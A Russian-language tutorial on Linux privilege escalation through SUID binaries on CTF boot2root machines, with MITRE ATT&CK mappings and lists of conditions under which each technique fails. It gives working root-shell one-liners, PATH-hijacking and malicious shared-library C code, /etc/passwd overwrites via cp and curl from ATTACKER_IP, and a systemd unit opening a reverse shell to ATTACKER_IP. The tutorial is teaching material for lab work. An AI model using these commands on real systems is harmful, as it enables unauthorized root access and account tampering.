
На boot2root машине средней сложности initial shell через RCE занял двадцать минут, а вот до root пришлось ковыряться ещё час. Причина оказалась до обидного банальной: кастомный SUID-бинарник в /usr/local/bin/ вызывал service без абсолютного пути. PATH hijacking тремя командами — и root shell. По опыту прохождения CTF-машин на HackTheBox и TryHackMe, SUID-вектор торчит на восьми из десяти boot2root боксов. При этом половина игроков упорно копает kernel exploits или городит сложные цепочки, пропуская SUID-бинарник прямо у себя под носом. Эта статья — пошаговый разбор: от механики SUID-бита до конкретных техник эксплуатации уязвимых бинарников Linux с командами, которые можно повторить в лаборатории.
SUID (Set User ID) — специальное разрешение файловой системы, которое заставляет ядро Linux запускать бинарник от имени владельца файла, а не того, кто его вызвал. Владелец — root? Любой пользователь системы при запуске получает процесс с effective UID 0. Классика: /usr/bin/passwd запускается обычным пользователем, но работает с root-правами для модификации /etc/shadow. Подробнее — в нашем руководстве по linux для пентестера.
Выставляется SUID двумя эквивалентными способами: символьная нотация chmod u+s /path/to/binary или числовая chmod 4755 /path/to/binary. Четвёрка в начале — это и есть SUID. SGID (Set Group ID) задаётся через chmod 2755 или chmod g+s. В выводе ls -la вместо привычного x появляется s: строка прав превращается в rwsr-xr-x.
Нюанс, на котором регулярно ловятся на CTF: если SUID установлен, а бит execute у владельца — нет, отображается заглавная S вместо строчной s. То есть rwSr-xr-x означает: SUID выставлен, но файл не исполняемый для владельца. Почти всегда ошибка конфигурации, а не намеренный вектор. Но проверить стоит — вдруг автор задания именно на это и рассчитывал.
Sticky Bit (chmod 1755 или chmod +t) чаще всего встречается на директориях вроде /tmp: запрещает пользователям удалять чужие файлы в общих директориях, но к повышению привилегий через SUID бинарники напрямую не относится.
В терминологии MITRE ATT&CK использование механизма SUID/SGID — это Setuid and Setgid (T1548.001, Privilege Escalation). Если речь об эксплуатации уязвимостей в самих SUID-бинарниках (переполнение буфера и подобное), применима техника Exploitation for Privilege Escalation (T1068). Атакующий находит бинарник с установленным битом и использует его функциональность для выполнения команд от имени root. Манипуляции с chmod для изменения прав доступа Linux маппятся на Linux and Mac Permissions Modification (T1222.002, Defense Evasion).
Первый шаг после initial shell — перечисление всех файлов с SUID-битом. Команда, которая должна быть в мышечной памяти:
find / -perm -4000 -type f 2>/dev/null
Компоненты: / — поиск от корня, -perm -4000 — файлы с SUID в octal, -type f — только обычные файлы, 2>/dev/null — подавление ошибок Permission denied. Альтернативная запись — find / -perm -u=s -type f 2>/dev/null в символьной нотации. Этот шаг соответствует технике File and Directory Discovery (T1083, Discovery) по MITRE ATT&CK.
Что искать в выводе. Стандартные SUID-бинарники — /usr/bin/passwd, /usr/bin/sudo, /usr/bin/mount, /usr/bin/ping, /usr/bin/newgrp — штатные компоненты системы. Они нужны для нормальной работы и в большинстве случаев вектор эскалации привилегий CTF не дают (хотя для устаревших версий исключения бывают). Внимание должны привлечь:
/opt, /home, /tmp, /usr/local/bin — кастомные программы администратора или автора CTF-заданияfind, bash, vim, nano, curl, cp, awk, python3, perl — их наличие в выводе find suid permission почти гарантирует векторCapabilities — скрытый аналог SUID. Команда getcap -r / 2>/dev/null покажет бинарники с capability-флагами. Флаг cap_setuid+ep функционально эквивалентен SUID, но не виден через ls -la и не попадает в вывод find -perm -4000. Помимо getcap, capabilities можно обнаружить через getfattr -n security.capability на файловых системах с поддержкой extended attributes. Бинарник с таким флагом эксплуатируется аналогично — через GTFOBins. Пропустить getcap — значит пропустить вектор, который специально спрятан от поверхностного перечисления. Одна секунда на команду, а экономит полчаса блуждания.
Для воспроизведения описанных техник повышения привилегий Linux SUID:
find, strings, ls (предустановлены); gcc — для компиляции payload (если отсутствует — компилировать на атакующей машине и загружать)python3 -m http.server)GTFOBins — курируемый справочник Unix-бинарников, которые можно использовать для обхода локальных ограничений безопасности. Для каждого бинарника — конкретная команда эксплуатации в контексте SUID, sudo и capabilities. Нашли нестандартный SUID-бинарник? Первое действие — проверить его на gtfobins.github.io. Как точно сформулировано в справочнике SecureLayer7: GTFOBins конвертирует «этот бинарник привилегирован» в «вот root shell».
[Применимо: CTF boot2root, внутренний пентест, post-exploitation]
bash с SUID. Если /bin/bash принадлежит root и имеет SUID-бит — достаточно bash -p. Флаг -p запрещает bash сбрасывать effective UID до real UID. Проверяем через id: видим euid=0(root) — готово. Простейший из всех векторов, две секунды работы.
Работает если: SUID на /bin/bash, владелец root, версия bash >= 2.0. Не работает если: bash скомпилирован с --enable-strict-posix-default (крайне редко); AppArmor или SELinux в enforcing-режиме с профилем, блокирующим bash -p для этого контекста; nosuid mount option активен на точке монтирования с бинарником.
find с SUID. Один из самых частых векторов на CTF-машинах. Команда из GTFOBins: find . -exec /bin/sh -p \; -quit. Ключ -exec порождает дочерний процесс с inherited effective UID 0 (от SUID), а -quit завершает find после первого результата — иначе шеллы будут множиться как кролики.
Работает если: SUID на /usr/bin/find, владелец root. Не работает если: система использует nosuid mount option на партиции с find.
Python, Perl, Ruby. Любой интерпретатор с SUID-битом — мгновенный root shell через SUID. Для Python: python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'. Для Perl: perl -e 'exec "/bin/sh";'. Для awk (согласно GTFOBins): awk 'BEGIN {system("/bin/sh")}'. У каждого интерпретатора своя страница на GTFOBins с точной командой.
systemctl через sudo. Если systemctl доступен через sudo без пароля (вектор задокументирован в GTFOBins для sudo-контекста в категории shell), создаётся файл /tmp/evil.service с секцией [Service], типом Type=oneshot, и строкой ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1', плюс [Install] с WantedBy=multi-user.target. После sudo systemctl link /tmp/evil.service и sudo systemctl start evil.service на стороне атакующего ловим reverse shell через nc -lvnp 4444 (команда link создаёт symlink в /etc/systemd/system, делая юнит видимым для systemd). Тут есть подвох: SUID-бит на самом бинарнике systemctl не гарантирует эскалацию, потому что systemctl общается с systemd через D-Bus, а авторизация определяется менеджером systemd, а не euid вызывающего процесса. Этот вектор ценен именно в sudo-контексте: systemctl позволяет получить шелл, выполнять команды, читать и записывать файлы.
Вторая категория уязвимых бинарников Linux — утилиты, способные читать и записывать произвольные файлы от имени root.
cp с SUID. Алгоритм: скопировать /etc/passwd в домашнюю директорию, добавить строку нового пользователя с UID 0 (хэш генерируется через openssl passwd -1 -salt xyz password), перезаписать оригинал через cp ./passwd_modified /etc/passwd. Далее su newuser с выбранным паролем. Тот же подход работает через доступ к /etc/shadow — если SUID-бинарник позволяет и чтение, и запись, что маппится на Credentials In Files (T1552.001, Credential Access) по MITRE ATT&CK.
Работает если: SUID на /bin/cp, владелец root. Не работает если: на /etc/passwd установлен immutable-атрибут (chattr +i); SELinux в enforcing с корректной политикой для файлов /etc.
curl с SUID. Скачать подготовленный /etc/passwd с машины атакующего: curl http://ATTACKER_IP/passwd -o /etc/passwd. Поскольку curl выполняется от root (SUID), он спокойно перезаписывает системный файл. Но тут осторожнее: такая полная перезапись убьёт все существующие учётные записи и может сломать сервисы. Правильный подход — предварительно скопировать оригинальный /etc/passwd, добавить в копию нужную строку и загрузить именно этот объединённый файл.
nano с SUID. Открыть /etc/passwd напрямую: nano /etc/passwd. Интерактивное редактирование без подготовки файлов на стороне — быстрее, чем cp или curl, но требует полноценный TTY. В ограниченном shell nano просто не запустится — тогда сначала python3 -c 'import pty; pty.spawn("/bin/bash")' для апгрейда оболочки.
Самый вкусный вектор на CTF-машинах средней и высокой сложности. Автор CTF создаёт кастомный SUID-бинарник, который вызывает другую программу без абсолютного пути — service, cat, ps вместо /usr/sbin/service, /bin/cat, /bin/ps. Техника соответствует Path Interception by PATH Environment Variable (T1574.007) по MITRE ATT&CK.
[Применимо: CTF boot2root, внутренний пентест, legacy-инфраструктура с кастомными скриптами]
Шаг 1 — обнаружение. Найти кастомный SUID через find. Пример: /usr/local/bin/suid-env с правами -rwsr-xr-x 1 root root.
Шаг 2 — анализ. Запустить strings /usr/local/bin/suid-env и искать текстовые строки вызовов. Если в выводе видно service apache2 start без абсолютного пути — вот он, вектор. Команда ltrace ./suid-env 2>&1 покажет runtime-вызовы, включая system("service apache2 start"). Если strings и ltrace недоступны, можно попробовать objdump -d или strace.
Шаг 3 — эксплуатация. Создать файл с именем вызываемой программы (в нашем случае service), содержащий вызов shell:
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
Компиляция: gcc -o service service.c. Затем добавить текущую директорию в начало PATH: export PATH=.:$PATH. Запуск уязвимого бинарника: ./suid-env. Бинарник вызовет service, обнаружит его в текущей директории (. стоит первой в PATH), выполнит наш код — root shell. Проверка: id должен показать uid=0(root).
Работает если: кастомный SUID-бинарник вызывает внешнюю программу по относительному пути, пользователь может модифицировать переменную PATH. Не работает если: вызов идёт по абсолютному пути (например, /usr/sbin/service); бинарник использует execve() с явным массивом окружения, игнорируя пользовательский PATH; на системе настроен secure_path для всех SUID-процессов.
Вторая техника манипуляции с окружением — подмена разделяемых библиотек (.so), которые загружает SUID-бинарник. Техника соответствует Dynamic Linker Hijacking (T1574.006) по MITRE ATT&CK. Два подхода: подмена отсутствующей библиотеки и LD_PRELOAD в контексте sudo.
Подмена отсутствующей .so. Запустить strace /usr/local/bin/suid-binary 2>&1 | grep "No such file". Если в выводе видно что-то вроде open("/home/user/.config/libcustom.so", O_RDONLY) = -1 ENOENT — бинарник ищет библиотеку в директории, куда текущий пользователь может писать. Создаём вредоносную библиотеку:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
Компиляция как shared object: gcc -shared -fPIC -o /home/user/.config/libcustom.so libcustom.c. Запуск SUID-бинарника — при загрузке библиотеки автоматически выполнится функция inject() (атрибут constructor гарантирует вызов до main()), и вот он — root shell.
Работает если: SUID-бинарник ищет .so в директории с write-доступом для текущего пользователя. Не работает если: все пути к .so ведут в системные директории (/lib, /usr/lib), куда обычный пользователь писать не может; динамический линкер (ld.so) в secure-mode игнорирует LD_PRELOAD для SUID-бинарников (ядро передаёт флаг AT_SECURE, и ld.so игнорирует LD_PRELOAD/LD_LIBRARY_PATH для SUID-процессов — однако AT_SECURE не влияет на поиск библиотек по rpath/RUNPATH или путям, зашитым в коде бинарника, поэтому подмена отсутствующей .so в доступной директории остаётся рабочим вектором).
LD_PRELOAD через sudo. Отдельный случай: команда sudo -l показывает env_keep += LD_PRELOAD. Тогда создаётся аналогичный .so (с добавлением unsetenv("LD_PRELOAD"); первой строкой inject()) и запускается через sudo LD_PRELOAD=/tmp/evil.so /usr/bin/apache2. Sudo запустит apache2 с root-правами, но загрузит нашу библиотеку до выполнения основного кода. Техника работает для любого бинарника, разрешённого в sudo, — даже если сам бинарник не позволяет выход в shell. Аналогичный подход действует для LD_LIBRARY_PATH, если она тоже в env_keep.
Работает если: в /etc/sudoers явно указано env_keep += LD_PRELOAD или LD_LIBRARY_PATH. Не работает если: env_reset включён (по умолчанию в современных системах, начиная с sudo >= 1.8.x); secure_path строго задан.
Ручной поиск — обязательный навык. Но на CTF-соревнованиях с ограничением по времени и на реальных пентестах без автоматизации далеко не уедешь.
LinPEAS (Linux Privilege Escalation Awesome Script) — комплексный инструмент перечисления. Помимо SUID бинарников, проверяет sudo-права через sudo -l, crontab-задачи, capabilities, writable файлы, версию ядра, membership в docker/lxd и десятки других векторов. В выводе секция SUID подсвечивает известно-уязвимые бинарники цветовой маркировкой (красный = эксплуатируемый, жёлтый = подозрительный). Загрузка на целевую машину: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh.
suid3num — специализированный инструмент, описанный в исследовании Hacking Articles. Фокусируется исключительно на SUID: классифицирует найденные бинарники на стандартные (safe), подозрительные (suspicious) и известно-уязвимые (exploitable) со ссылками на GTFOBins. Вывод компактнее, чем у LinPEAS, и сразу показывает приоритеты. Я предпочитаю его, когда уже понятно, что вектор через SUID, и нужна быстрая классификация, а не полная картина.
Стратегия для CTF boot2root прохождения. Сначала ручной find / -perm -4000 -type f 2>/dev/null — занимает пять секунд, даёт немедленный результат. Пока анализируете вывод find, в фоне запускайте LinPEAS для полной картины.
| Инструмент | Охват | Время | Фокус на SUID | Когда использовать |
|---|---|---|---|---|
| Ручной find | Только SUID/SGID | Мгновенно | Да | Всегда первым |
| LinPEAS | Все векторы privesc | 1-3 минуты | Частично (в составе полного отчёта) | Полная разведка после initial shell |
| suid3num | Только SUID | Секунды | Да, с автоклассификацией | Целевой анализ после find |
Структурированный порядок после получения initial shell на CTF-машине:
find / -perm -4000 -type f 2>/dev/null и find / -perm -2000 -type f 2>/dev/null (SGID)getcap -r / 2>/dev/null (скрытый аналог SUID, не виден через find)env_keep (LD_PRELOAD, LD_LIBRARY_PATH) и NOPASSWD-записиsearchsploit или Exploit-DBКаждый шаг — от пяти секунд до двух минут. Полный чеклист проходится за десять минут. Если ни один SUID-вектор не сработал — переходите к crontab, writable скриптам, kernel exploits, docker/lxd group membership.
Типичная ошибка на CTF — вцепиться в первый найденный SUID-бинарник. На некоторых машинах первый бинарник — «кроличья нора», которая жрёт время и ведёт в тупик. Правильный подход: пройти чеклист полностью, зафиксировать все находки, и только потом выбирать вектор эксплуатации. Это экономит часы, особенно на экзамене OSCP, где каждая минута на счету.
Вторая системная проблема — пропуск capabilities. Бинарник с cap_setuid+ep не попадает в вывод find -perm -4000, потому что capability-механизм работает отдельно от SUID-бита. При этом эксплуатируется идентично — GTFOBins покрывает оба контекста. Одна секунда на getcap регулярно спасает полчаса на CTF.
В реальном внутреннем пентесте (не CTF) администраторы редко оставляют SUID на bash или find. Зато кастомные бинарники с PATH-уязвимостями встречаются регулярно — особенно в legacy-инфраструктуре, где скрипты писались десять лет назад и никто не думал про безопасность. Разница в том, что на CTF SUID-бинарник лежит на виду и ждёт эксплуатации, а в проде его нужно выцеплять из тысячи файлов на десятках серверов — тут LinPEAS и suid3num не роскошь, а необходимость.
Есть вещь, которую редко обсуждают: большинство CTF-игроков и начинающих пентестеров воспринимают SUID-эскалацию как «найти бинарник → открыть GTFOBins → скопировать команду». На простых машинах прокатывает. На уровне Hard или на OSCP-экзамене такой подход буксует. Реальная ценность — не в знании конкретных one-liner'ов, а в понимании механики: почему setuid(0) в конструкторе .so даёт root, почему -p в bash не сбрасывает effective UID, почему относительный путь в system() вообще является уязвимостью. Без этого понимания каждая новая машина — чёрный ящик. С ним — каждый кастомный бинарник раскладывается на знакомые примитивы за минуту. Если хочешь не просто writeup, а пройти всю цепочку самостоятельно — на WAPT каждый такой вектор разбирается с лабой и ментором, который объяснит не «что вводить», а «почему это работает».
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...